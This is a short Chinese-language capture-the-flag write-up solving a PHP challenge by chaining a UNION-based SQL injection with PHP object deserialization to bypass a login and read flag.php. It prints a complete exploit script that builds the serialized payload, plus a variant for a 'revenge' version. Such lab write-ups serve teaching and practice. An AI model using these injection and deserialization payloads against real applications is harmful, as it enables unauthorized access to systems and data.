我是f5
Y4师傅已经到达出题的阶段了,而我还在苦苦思索题目,这个比赛让我深深感受到我是f5
分析
拿到题目,给了一段很长的源码,首先分析一下这段源码的概要。
- 连接数据库,创建一个表,插入用户名、密码、职权。
- 登录方法,传入username和password,但查询是使用password的md5值,导致输入正确密码也无法登录,此处考虑SQL注入登录。登入成功后,设置变量Happy为TRUE,将role作为参数传入loadData方法并调用。
- loadData方法对传入参数经行判断后经行反序列化,返回实体;析构函数将传入参数method作为方法名,args作为参数经行函数回调。
- Happy类包含flag.php,直接访问flag.php显示无权访问。
bypass
清楚流程后,猜测flag.php无法正常访问原因为变量Happy为flase,登陆成功后会将Happy变为TRUE,继而再通过反序列化Happy类来返回真正的flag.php。
- 反序列化类对大小写不敏感,通过大小写绕过
preg_match("/ctfshow/"
- 参数method为回调函数的方法,
method=login
;参数args为方法参数,类型为数组,args=arry('username','password')
- 若是登录成功,则要对role经行反序列化,但数据库中已有的role不可控,所以通过sql注入临时变量来控制role的内容。
$args=array("' union select * from (select 's' as 'username','p' as 'password','".$role."' as 'role') as t--+","CTFSHOW"); //as t不可丢,否则报错
- loadData对传入参数的前两位经行判断,可以通过数组绕过
$test=new Happy(); $role=serialize(array($test));
最终脚本
<?php
class Ctfshow{
public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
class Happy{
}
$test=new Happy();
$role=serialize(array($test));
$p=array("' union select * from (select 's' as 'username','p' as 'password','".$role."' as 'role') as t--+","CTFSHOW");
$a=new Ctfshow('login',$p);
echo serialize($a);
?>
eazy-unserialize-revenge
题目唯一不同的是Happy类中file变量的值改为了不存在的php,解决方法就是在构造反序列化时传入变量$file=flag.php
class Happy{
public $file='flag.php';
}
其他同上
Comments | NOTHING